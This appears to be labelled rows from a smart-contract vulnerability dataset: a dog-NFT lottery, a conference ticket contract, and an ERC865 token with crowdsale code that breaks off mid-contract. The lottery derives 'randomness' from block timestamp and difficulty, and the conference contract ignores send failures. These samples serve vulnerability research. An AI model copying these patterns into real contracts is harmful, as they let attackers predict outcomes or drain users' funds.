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pragma solidity ^0.4.18;
contract DogCoreInterface {
address public ceoAddress;
address public cfoAddress;
function getDog(uint256 _id)
external
view
returns (
uint256 cooldownIndex,
uint256 nextActionAt,
uint256 siringWithId,
uint256 birthTime,
uint256 matronId,
uint256 sireId,
uint256 generation,
uint256 genes,
uint8 variation,
uint256 gen0
);
function ownerOf(uint256 _tokenId) external view returns (address);
function transferFrom(address _from, address _to, uint256 _tokenId) external;
function sendMoney(address _to, uint256 _money) external;
function totalSupply() external view returns (uint);
function getOwner(uint256 _tokenId) public view returns(address);
function getAvailableBlance() external view returns(uint256);
}
contract LotteryBase {
uint8 public currentGene;
uint256 public lastBlockNumber;
uint256 randomSeed = 1;
struct CLottery {
uint8[7] luckyGenes;
uint256 totalAmount;
uint256 openBlock;
bool isReward;
bool noFirstReward;
}
CLottery[] public CLotteries;
address public finalLottery;
uint256 public SpoolAmount = 0;
DogCoreInterface public dogCore;
event OpenLottery(uint8 currentGene, uint8 luckyGenes, uint256 currentTerm, uint256 blockNumber, uint256 totalAmount);
event OpenCarousel(uint256 luckyGenes, uint256 currentTerm, uint256 blockNumber, uint256 totalAmount);
modifier onlyCEO() {
require(msg.sender == dogCore.ceoAddress());
_;
}
modifier onlyCFO() {
require(msg.sender == dogCore.cfoAddress());
_;
}
function toLotteryPool(uint amount) public onlyCFO {
require(SpoolAmount >= amount);
SpoolAmount -= amount;
}
function _isCarousal(uint256 currentTerm) external view returns(bool) {
return (currentTerm > 1 && CLotteries[currentTerm - 2].noFirstReward && CLotteries[currentTerm - 1].noFirstReward);
}
function getCurrentTerm() external view returns (uint256) {
return (CLotteries.length - 1);
}
}
contract LotteryGenes is LotteryBase {
function convertGeneArray(uint256 gene) public pure returns(uint8[7]) {
uint8[28] memory geneArray;
uint8[7] memory lotteryArray;
uint index = 0;
for (index = 0; index < 28; index++) {
uint256 geneItem = gene % (2 ** (5 * (index + 1)));
geneItem /= (2 ** (5 * index));
geneArray[index] = uint8(geneItem);
}
for (index = 0; index < 7; index++) {
uint size = 4 * index;
lotteryArray[index] = geneArray[size];
}
return lotteryArray;
}
function convertGene(uint8[7] luckyGenes) public pure returns(uint256) {
uint8[28] memory geneArray;
for (uint8 i = 0; i < 28; i++) {
if (i%4 == 0) {
geneArray[i] = luckyGenes[i/4];
} else {
geneArray[i] = 6;
}
}
uint256 gene = uint256(geneArray[0]);
for (uint8 index = 1; index < 28; index++) {
uint256 geneItem = uint256(geneArray[index]);
gene += geneItem << (index * 5);
}
return gene;
}
}
contract SetLottery is LotteryGenes {
function random(uint8 seed) internal returns(uint8) {
randomSeed = block.timestamp;
return uint8(uint256(keccak256(randomSeed, block.difficulty))%seed)+1;
}
function openLottery(uint8 _viewId) public returns(uint8,uint8) {
uint8 viewId = _viewId;
require(viewId < 7);
uint256 currentTerm = CLotteries.length - 1;
CLottery storage clottery = CLotteries[currentTerm];
if (currentGene == 0 && clottery.openBlock > 0 && clottery.isReward == false) {
OpenLottery(viewId, clottery.luckyGenes[viewId], currentTerm, clottery.openBlock, clottery.totalAmount);
return (clottery.luckyGenes[viewId],1);
}
if (lastBlockNumber == block.number) {
OpenLottery(viewId, clottery.luckyGenes[viewId], currentTerm, clottery.openBlock, clottery.totalAmount);
return (clottery.luckyGenes[viewId],2);
}
if (currentGene == 0 && clottery.isReward == true) {
CLottery memory _clottery;
_clottery.luckyGenes = [0,0,0,0,0,0,0];
_clottery.totalAmount = uint256(0);
_clottery.isReward = false;
_clottery.openBlock = uint256(0);
currentTerm = CLotteries.push(_clottery) - 1;
}
if (this._isCarousal(currentTerm)) {
revert();
}
uint8 luckyNum = 0;
uint256 bonusBalance = dogCore.getAvailableBlance();
if (currentGene == 6) {
if (bonusBalance <= SpoolAmount) {
OpenLottery(viewId, clottery.luckyGenes[viewId], currentTerm, 0, 0);
return (clottery.luckyGenes[viewId],3);
}
luckyNum = random(8);
CLotteries[currentTerm].luckyGenes[currentGene] = luckyNum;
OpenLottery(currentGene, luckyNum, currentTerm, block.number, bonusBalance);
currentGene = 0;
CLotteries[currentTerm].openBlock = block.number;
CLotteries[currentTerm].totalAmount = bonusBalance;
lastBlockNumber = block.number;
} else {
luckyNum = random(12);
CLotteries[currentTerm].luckyGenes[currentGene] = luckyNum;
OpenLottery(currentGene, luckyNum, currentTerm, 0, 0);
currentGene ++;
lastBlockNumber = block.number;
}
return (luckyNum,0);
}
function random2() internal view returns (uint256) {
return uint256(uint256(keccak256(block.timestamp, block.difficulty))%uint256(dogCore.totalSupply()) + 1);
}
function openCarousel() public {
uint256 currentTerm = CLotteries.length - 1;
CLottery storage clottery = CLotteries[currentTerm];
if (currentGene == 0 && clottery.openBlock > 0 && clottery.isReward == false) {
OpenCarousel(convertGene(clottery.luckyGenes), currentTerm, clottery.openBlock, clottery.totalAmount);
}
if (currentGene == 0 && clottery.openBlock > 0 && clottery.isReward == true) {
CLottery memory _clottery;
_clottery.luckyGenes = [0,0,0,0,0,0,0];
_clottery.totalAmount = uint256(0);
_clottery.isReward = false;
_clottery.openBlock = uint256(0);
currentTerm = CLotteries.push(_clottery) - 1;
}
uint256 bonusBlance = dogCore.getAvailableBlance();
require (this._isCarousal(currentTerm));
uint256 genes = _getValidRandomGenes();
require (genes > 0);
uint8[7] memory luckyGenes = convertGeneArray(genes);
OpenCarousel(genes, currentTerm, block.number, bonusBlance);
CLotteries[currentTerm].luckyGenes = luckyGenes;
CLotteries[currentTerm].openBlock = block.number;
CLotteries[currentTerm].totalAmount = bonusBlance;
}
function _getValidRandomGenes() internal view returns (uint256) {
uint256 luckyDog = random2();
uint256 genes = _validGenes(luckyDog);
uint256 totalSupply = dogCore.totalSupply();
if (genes > 0) {
return genes;
}
uint256 min = (luckyDog < totalSupply-luckyDog) ? (luckyDog - 1) : totalSupply-luckyDog;
for (uint256 i = 1; i < min + 1; i++) {
genes = _validGenes(luckyDog - i);
if (genes > 0) {
break;
}
genes = _validGenes(luckyDog + i);
if (genes > 0) {
break;
}
}
if (genes == 0) {
if (min == luckyDog - 1) {
for (i = min + luckyDog; i < totalSupply + 1; i++) {
genes = _validGenes(i);
if (genes > 0) {
break;
}
}
}
if (min == totalSupply - luckyDog) {
for (i = min; i < luckyDog; i++) {
genes = _validGenes(luckyDog - i - 1);
if (genes > 0) {
break;
}
}
}
}
return genes;
}
function _validGenes(uint256 dogId) internal view returns (uint256) {
var(, , , , , ,generation, genes, variation,) = dogCore.getDog(dogId);
if (generation == 0 || dogCore.ownerOf(dogId) == finalLottery || variation > 0) {
return 0;
} else {
return genes;
}
}
}
contract LotteryCore is SetLottery {
function LotteryCore(address _ktAddress) public {
dogCore = DogCoreInterface(_ktAddress);
CLottery memory _clottery;
_clottery.luckyGenes = [0,0,0,0,0,0,0];
_clottery.totalAmount = uint256(0);
_clottery.isReward = false;
_clottery.openBlock = uint256(0);
CLotteries.push(_clottery);
}
function setFinalLotteryAddress(address _flAddress) public onlyCEO {
finalLottery = _flAddress;
}
function getCLottery()
public
view
returns (
uint8[7] luckyGenes,
uint256 totalAmount,
uint256 openBlock,
bool isReward,
uint256 term
) {
term = CLotteries.length - uint256(1);
luckyGenes = CLotteries[term].luckyGenes;
totalAmount = CLotteries[term].totalAmount;
openBlock = CLotteries[term].openBlock;
isReward = CLotteries[term].isReward;
}
function rewardLottery(bool isMore) external {
require(msg.sender == finalLottery);
uint256 term = CLotteries.length - 1;
CLotteries[term].isReward = true;
CLotteries[term].noFirstReward = isMore;
}
function toSPool(uint amount) external {
require(msg.sender == finalLottery);
SpoolAmount += amount;
}
}
contract FinalLottery {
bool public isLottery = true;
LotteryCore public lotteryCore;
DogCoreInterface public dogCore;
uint8[7] public luckyGenes;
uint256 totalAmount;
uint256 openBlock;
bool isReward;
uint256 currentTerm;
uint256 public duration;
uint8 public lotteryRatio;
uint8[7] public lotteryParam;
uint8 public carousalRatio;
uint8[7] public carousalParam;
struct FLottery {
address[] owners0;
uint256[] dogs0;
address[] owners1;
uint256[] dogs1;
address[] owners2;
uint256[] dogs2;
address[] owners3;
uint256[] dogs3;
address[] owners4;
uint256[] dogs4;
address[] owners5;
uint256[] dogs5;
address[] owners6;
uint256[] dogs6;
uint256[] reward;
}
mapping(uint256 => FLottery) flotteries;
function FinalLottery(address _lcAddress) public {
lotteryCore = LotteryCore(_lcAddress);
dogCore = DogCoreInterface(lotteryCore.dogCore());
duration = 11520;
lotteryRatio = 23;
lotteryParam = [46,16,10,9,8,6,5];
carousalRatio = 12;
carousalParam = [35,18,14,12,8,7,6];
}
event DistributeLottery(uint256[] rewardArray, uint256 currentTerm);
event RegisterLottery(uint256 dogId, address owner, uint8 lotteryClass, string result);
function setLotteryDuration(uint256 durationBlocks) public {
require(msg.sender == dogCore.ceoAddress());
require(durationBlocks > 140);
require(durationBlocks < block.number);
duration = durationBlocks;
}
function registerLottery(uint256 dogId) public returns (uint8) {
uint256 _dogId = dogId;
(luckyGenes, totalAmount, openBlock, isReward, currentTerm) = lotteryCore.getCLottery();
address owner = dogCore.ownerOf(_dogId);
require (owner != address(this));
require(address(dogCore) == msg.sender);
require(totalAmount > 0 && isReward == false && openBlock > (block.number-duration));
var(, , , birthTime, , ,generation,genes, variation,) = dogCore.getDog(_dogId);
require(birthTime < openBlock);
require(generation > 0);
require(variation == 0);
uint8 _lotteryClass = getLotteryClass(luckyGenes, genes);
require(_lotteryClass < 7);
address[] memory owners;
uint256[] memory dogs;
(dogs, owners) = _getLuckyList(currentTerm, _lotteryClass);
for (uint i = 0; i < dogs.length; i++) {
if (_dogId == dogs[i]) {
RegisterLottery(_dogId, owner, _lotteryClass,"dog already registered");
return 5;
}
}
_pushLuckyInfo(currentTerm, _lotteryClass, owner, _dogId);
RegisterLottery(_dogId, owner, _lotteryClass,"successful");
return 0;
}
function distributeLottery() public returns (uint8) {
(luckyGenes, totalAmount, openBlock, isReward, currentTerm) = lotteryCore.getCLottery();
require(openBlock > 0 && openBlock < (block.number-duration));
require(totalAmount >= lotteryCore.SpoolAmount());
if (isReward == true) {
DistributeLottery(flotteries[currentTerm].reward, currentTerm);
return 1;
}
uint256 legalAmount = totalAmount - lotteryCore.SpoolAmount();
uint256 totalDistribute = 0;
uint8[7] memory lR;
uint8 ratio;
if (lotteryCore._isCarousal(currentTerm) ) {
lR = carousalParam;
ratio = carousalRatio;
} else {
lR = lotteryParam;
ratio = lotteryRatio;
}
for (uint8 i = 0; i < 7; i++) {
address[] memory owners;
uint256[] memory dogs;
(dogs, owners) = _getLuckyList(currentTerm, i);
if (owners.length > 0) {
uint256 reward = (legalAmount * ratio * lR[i])/(10000 * owners.length);
totalDistribute += reward * owners.length;
dogCore.sendMoney(dogCore.cfoAddress(),reward * owners.length/10);
for (uint j = 0; j < owners.length; j++) {
address gen0Add;
if (i == 0) {
dogCore.sendMoney(owners[j],reward*95*9/1000);
gen0Add = _getGen0Address(dogs[j]);
if(gen0Add != address(0)){
dogCore.sendMoney(gen0Add,reward*5/100);
}
} else if (i == 1) {
dogCore.sendMoney(owners[j],reward*97*9/1000);
gen0Add = _getGen0Address(dogs[j]);
if(gen0Add != address(0)){
dogCore.sendMoney(gen0Add,reward*3/100);
}
} else if (i == 2) {
dogCore.sendMoney(owners[j],reward*98*9/1000);
gen0Add = _getGen0Address(dogs[j]);
if(gen0Add != address(0)){
dogCore.sendMoney(gen0Add,reward*2/100);
}
} else {
dogCore.sendMoney(owners[j],reward*9/10);
}
}
flotteries[currentTerm].reward.push(reward);
} else {
flotteries[currentTerm].reward.push(0);
}
}
if (flotteries[currentTerm].owners0.length == 0) {
lotteryCore.toSPool((dogCore.getAvailableBlance() - lotteryCore.SpoolAmount())/20);
lotteryCore.rewardLottery(true);
} else {
lotteryCore.rewardLottery(false);
}
DistributeLottery(flotteries[currentTerm].reward, currentTerm);
return 0;
}
function _getGen0Address(uint256 dogId) internal view returns(address) {
var(, , , , , , , , , gen0) = dogCore.getDog(dogId);
return dogCore.getOwner(gen0);
}
function _getLuckyList(uint256 currentTerm1, uint8 lotclass) public view returns (uint256[] kts, address[] ons) {
if (lotclass==0) {
ons = flotteries[currentTerm1].owners0;
kts = flotteries[currentTerm1].dogs0;
} else if (lotclass==1) {
ons = flotteries[currentTerm1].owners1;
kts = flotteries[currentTerm1].dogs1;
} else if (lotclass==2) {
ons = flotteries[currentTerm1].owners2;
kts = flotteries[currentTerm1].dogs2;
} else if (lotclass==3) {
ons = flotteries[currentTerm1].owners3;
kts = flotteries[currentTerm1].dogs3;
} else if (lotclass==4) {
ons = flotteries[currentTerm1].owners4;
kts = flotteries[currentTerm1].dogs4;
} else if (lotclass==5) {
ons = flotteries[currentTerm1].owners5;
kts = flotteries[currentTerm1].dogs5;
} else if (lotclass==6) {
ons = flotteries[currentTerm1].owners6;
kts = flotteries[currentTerm1].dogs6;
}
}
function _pushLuckyInfo(uint256 currentTerm1, uint8 _lotteryClass, address owner, uint256 _dogId) internal {
if (_lotteryClass == 0) {
flotteries[currentTerm1].owners0.push(owner);
flotteries[currentTerm1].dogs0.push(_dogId);
} else if (_lotteryClass == 1) {
flotteries[currentTerm1].owners1.push(owner);
flotteries[currentTerm1].dogs1.push(_dogId);
} else if (_lotteryClass == 2) {
flotteries[currentTerm1].owners2.push(owner);
flotteries[currentTerm1].dogs2.push(_dogId);
} else if (_lotteryClass == 3) {
flotteries[currentTerm1].owners3.push(owner);
flotteries[currentTerm1].dogs3.push(_dogId);
} else if (_lotteryClass == 4) {
flotteries[currentTerm1].owners4.push(owner);
flotteries[currentTerm1].dogs4.push(_dogId);
} else if (_lotteryClass == 5) {
flotteries[currentTerm1].owners5.push(owner);
flotteries[currentTerm1].dogs5.push(_dogId);
} else if (_lotteryClass == 6) {
flotteries[currentTerm1].owners6.push(owner);
flotteries[currentTerm1].dogs6.push(_dogId);
}
}
function getLotteryClass(uint8[7] luckyGenesArray, uint256 genes) internal view returns(uint8) {
if (currentTerm < 0) {
return 100;
}
uint8[7] memory dogArray = lotteryCore.convertGeneArray(genes);
uint8 cnt = 0;
uint8 lnt = 0;
for (uint i = 0; i < 6; i++) {
if (luckyGenesArray[i] > 0 && luckyGenesArray[i] == dogArray[i]) {
cnt++;
}
}
if (luckyGenesArray[6] > 0 && luckyGenesArray[6] == dogArray[6]) {
lnt = 1;
}
uint8 lotclass = 100;
if (cnt==6 && lnt==1) {
lotclass = 0;
} else if (cnt==6 && lnt==0) {
lotclass = 1;
} else if (cnt==5 && lnt==1) {
lotclass = 2;
} else if (cnt==5 && lnt==0) {
lotclass = 3;
} else if (cnt==4 && lnt==1) {
lotclass = 4;
} else if (cnt==3 && lnt==1) {
lotclass = 5;
} else if (cnt==3 && lnt==0) {
lotclass = 6;
} else {
lotclass = 100;
}
return lotclass;
}
function checkLottery(uint256 genes) public view returns(uint8) {
var(luckyGenesArray, , , isReward1, ) = lotteryCore.getCLottery();
if (isReward1) {
return 100;
}
return getLotteryClass(luckyGenesArray, genes);
}
function getCLottery()
public
view
returns (
uint8[7] luckyGenes1,
uint256 totalAmount1,
uint256 openBlock1,
bool isReward1,
uint256 term1,
uint8 currentGenes1,
uint256 tSupply,
uint256 sPoolAmount1,
uint256[] reward1
) {
(luckyGenes1, totalAmount1, openBlock1, isReward1, term1) = lotteryCore.getCLottery();
currentGenes1 = lotteryCore.currentGene();
tSupply = dogCore.totalSupply();
sPoolAmount1 = lotteryCore.SpoolAmount();
reward1 = flotteries[term1].reward;
}
} | 1 | 4,993 |
pragma solidity ^0.4.6;
contract Conference {
address public organizer;
mapping (address => uint) public registrantsPaid;
uint public numRegistrants;
uint public quota;
event Deposit(address _from, uint _amount);
event Refund(address _to, uint _amount);
function Conference() {
organizer = msg.sender;
quota = 100;
numRegistrants = 0;
}
function buyTicket() public {
if (numRegistrants >= quota) {
throw;
}
registrantsPaid[msg.sender] = msg.value;
numRegistrants++;
Deposit(msg.sender, msg.value);
}
function changeQuota(uint newquota) public {
if (msg.sender != organizer) { return; }
quota = newquota;
}
function refundTicket(address recipient, uint amount) public {
if (msg.sender != organizer) { return; }
if (registrantsPaid[recipient] == amount) {
address myAddress = this;
if (myAddress.balance >= amount) {
(recipient.send(amount));
Refund(recipient, amount);
registrantsPaid[recipient] = 0;
numRegistrants--;
}
}
return;
}
function destroy() {
if (msg.sender == organizer) {
suicide(organizer);
}
}
} | 0 | 1,141 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Administratable is Ownable {
mapping (address => bool) admins;
event AdminAdded(address indexed _admin);
event AdminRemoved(address indexed _admin);
modifier onlyAdmin() {
require(admins[msg.sender]);
_;
}
function addAdmin(address _addressToAdd) external onlyOwner {
require(_addressToAdd != address(0));
admins[_addressToAdd] = true;
emit AdminAdded(_addressToAdd);
}
function removeAdmin(address _addressToRemove) external onlyOwner {
require(_addressToRemove != address(0));
admins[_addressToRemove] = false;
emit AdminRemoved(_addressToRemove);
}
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract ERC20 {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ERC865 is ERC20 {
function transferPreSigned(
bytes _signature,
address _to,
uint256 _value,
uint256 _fee,
uint256 _nonce
)
public
returns (bool);
function approvePreSigned(
bytes _signature,
address _spender,
uint256 _value,
uint256 _fee,
uint256 _nonce
)
public
returns (bool);
function increaseApprovalPreSigned(
bytes _signature,
address _spender,
uint256 _addedValue,
uint256 _fee,
uint256 _nonce
)
public
returns (bool);
function decreaseApprovalPreSigned(
bytes _signature,
address _spender,
uint256 _subtractedValue,
uint256 _fee,
uint256 _nonce
)
public
returns (bool);
function transferFromPreSigned(
bytes _signature,
address _from,
address _to,
uint256 _value,
uint256 _fee,
uint256 _nonce
)
public
returns (bool);
function revokeSignature(bytes _signature)
public
returns (bool);
}
contract StandardToken is ERC20 {
using SafeMath for uint256;
mapping (address => mapping (address => uint256)) internal allowed;
mapping(address => uint256) public balances;
uint256 _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract ERC865Token is ERC865, StandardToken {
mapping(bytes => bool) nonces;
event TransferPreSigned(address indexed from, address indexed to, address indexed delegate, uint256 amount, uint256 fee);
event ApprovalPreSigned(address indexed from, address indexed to, address indexed delegate, uint256 amount, uint256 fee);
event SignatureRevoked(bytes signature, address indexed from);
function transferPreSigned(
bytes _signature,
address _to,
uint256 _value,
uint256 _fee,
uint256 _nonce
)
public
returns (bool)
{
require(_to != address(0));
require(!nonces[_signature]);
bytes32 hashedTx = transferPreSignedHashing(address(this), _to, _value, _fee, _nonce);
address from = recover(hashedTx, _signature);
require(from != address(0));
nonces[_signature] = true;
balances[from] = balances[from].sub(_value).sub(_fee);
balances[_to] = balances[_to].add(_value);
balances[msg.sender] = balances[msg.sender].add(_fee);
emit Transfer(from, _to, _value);
emit Transfer(from, msg.sender, _fee);
emit TransferPreSigned(from, _to, msg.sender, _value, _fee);
return true;
}
function approvePreSigned(
bytes _signature,
address _spender,
uint256 _value,
uint256 _fee,
uint256 _nonce
)
public
returns (bool)
{
require(_spender != address(0));
require(!nonces[_signature]);
bytes32 hashedTx = approvePreSignedHashing(address(this), _spender, _value, _fee, _nonce);
address from = recover(hashedTx, _signature);
require(from != address(0));
nonces[_signature] = true;
allowed[from][_spender] = _value;
balances[from] = balances[from].sub(_fee);
balances[msg.sender] = balances[msg.sender].add(_fee);
emit Approval(from, _spender, _value);
emit Transfer(from, msg.sender, _fee);
emit ApprovalPreSigned(from, _spender, msg.sender, _value, _fee);
return true;
}
function increaseApprovalPreSigned(
bytes _signature,
address _spender,
uint256 _addedValue,
uint256 _fee,
uint256 _nonce
)
public
returns (bool)
{
require(_spender != address(0));
require(!nonces[_signature]);
bytes32 hashedTx = increaseApprovalPreSignedHashing(address(this), _spender, _addedValue, _fee, _nonce);
address from = recover(hashedTx, _signature);
require(from != address(0));
nonces[_signature] = true;
allowed[from][_spender] = allowed[from][_spender].add(_addedValue);
balances[from] = balances[from].sub(_fee);
balances[msg.sender] = balances[msg.sender].add(_fee);
emit Approval(from, _spender, allowed[from][_spender]);
emit Transfer(from, msg.sender, _fee);
emit ApprovalPreSigned(from, _spender, msg.sender, allowed[from][_spender], _fee);
return true;
}
function decreaseApprovalPreSigned(
bytes _signature,
address _spender,
uint256 _subtractedValue,
uint256 _fee,
uint256 _nonce
)
public
returns (bool)
{
require(_spender != address(0));
require(!nonces[_signature]);
bytes32 hashedTx = decreaseApprovalPreSignedHashing(address(this), _spender, _subtractedValue, _fee, _nonce);
address from = recover(hashedTx, _signature);
require(from != address(0));
nonces[_signature] = true;
uint oldValue = allowed[from][_spender];
if (_subtractedValue > oldValue) {
allowed[from][_spender] = 0;
} else {
allowed[from][_spender] = oldValue.sub(_subtractedValue);
}
balances[from] = balances[from].sub(_fee);
balances[msg.sender] = balances[msg.sender].add(_fee);
emit Approval(from, _spender, _subtractedValue);
emit Transfer(from, msg.sender, _fee);
emit ApprovalPreSigned(from, _spender, msg.sender, allowed[from][_spender], _fee);
return true;
}
function transferFromPreSigned(
bytes _signature,
address _from,
address _to,
uint256 _value,
uint256 _fee,
uint256 _nonce
)
public
returns (bool)
{
require(_to != address(0));
require(!nonces[_signature]);
bytes32 hashedTx = transferFromPreSignedHashing(address(this), _from, _to, _value, _fee, _nonce);
address spender = recover(hashedTx, _signature);
require(spender != address(0));
nonces[_signature] = true;
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][spender] = allowed[_from][spender].sub(_value);
balances[spender] = balances[spender].sub(_fee);
balances[msg.sender] = balances[msg.sender].add(_fee);
nonces[_signature] = true;
emit Transfer(_from, _to, _value);
emit Transfer(spender, msg.sender, _fee);
return true;
}
function revokeSignature(bytes _signature) public returns (bool) {
require(!nonces[_signature]);
nonces[_signature] = true;
emit SignatureRevoked(_signature, msg.sender);
return true;
}
function transferPreSignedHashing(
address _token,
address _to,
uint256 _value,
uint256 _fee,
uint256 _nonce
)
public
pure
returns (bytes32)
{
return keccak256(bytes4(0x48664c16), _token, _to, _value, _fee, _nonce);
}
function approvePreSignedHashing(
address _token,
address _spender,
uint256 _value,
uint256 _fee,
uint256 _nonce
)
public
pure
returns (bytes32)
{
return keccak256(bytes4(0xf7ac9c2e), _token, _spender, _value, _fee, _nonce);
}
function increaseApprovalPreSignedHashing(
address _token,
address _spender,
uint256 _addedValue,
uint256 _fee,
uint256 _nonce
)
public
pure
returns (bytes32)
{
return keccak256(bytes4(0xa45f71ff), _token, _spender, _addedValue, _fee, _nonce);
}
function decreaseApprovalPreSignedHashing(
address _token,
address _spender,
uint256 _subtractedValue,
uint256 _fee,
uint256 _nonce
)
public
pure
returns (bytes32)
{
return keccak256(bytes4(0x59388d78), _token, _spender, _subtractedValue, _fee, _nonce);
}
function transferFromPreSignedHashing(
address _token,
address _from,
address _to,
uint256 _value,
uint256 _fee,
uint256 _nonce
)
public
pure
returns (bytes32)
{
return keccak256(bytes4(0xb7656dc5), _token, _from, _to, _value, _fee, _nonce);
}
function recover(bytes32 hash, bytes sig) public pure returns (address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65) {
return (address(0));
}
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27) {
v += 27;
}
if (v != 27 && v != 28) {
return (address(0));
} else {
return ecrecover(hash, v, r, s);
}
}
}
contract Pausable is Ownable {
event Paused();
event Unpaused();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Paused();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpaused();
}
}
contract Crowdsale {
using SafeMath for uint256;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
uint256 public tokenWeiSold;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
tokenWeiSold = tokenWeiSold.add(tokens);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) pure internal {
}
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) pure internal {
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract AllowanceCrowdsale is Crowdsale {
using SafeMath for uint256;
address public tokenWallet;
constructor(address _tokenWallet) public {
require(_tokenWallet != address(0));
tokenWallet = _tokenWallet;
}
function remainingTokens() public view returns (uint256) {
return token.allowance(tokenWallet, this);
}
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.transferFrom(tokenWallet, _beneficiary, _tokenAmount);
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function capReached() public view returns (bool) {
return weiRaised >= cap;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
super._preValidatePurchase(_beneficiary, _weiAmount);
require(weiRaised.add(_weiAmount) <= cap);
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal onlyWhileOpen {
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract WhitelistedCrowdsale is Crowdsale, Administratable {
mapping(address => bool) public whitelist;
event AddedToWhitelist(address indexed _address);
event RemovedFromWhitelist(address indexed _address);
modifier isWhitelisted(address _beneficiary) {
require(whitelist[_beneficiary]);
_;
}
function addToWhitelist(address _beneficiary) external onlyAdmin {
whitelist[_beneficiary] = true;
emit AddedToWhitelist(_beneficiary);
}
function addManyToWhitelist(address[] _beneficiaries) external onlyAdmin {
for (uint256 i = 0; i < _beneficiaries.length; i++) {
whitelist[_beneficiaries[i]] = true;
}
}
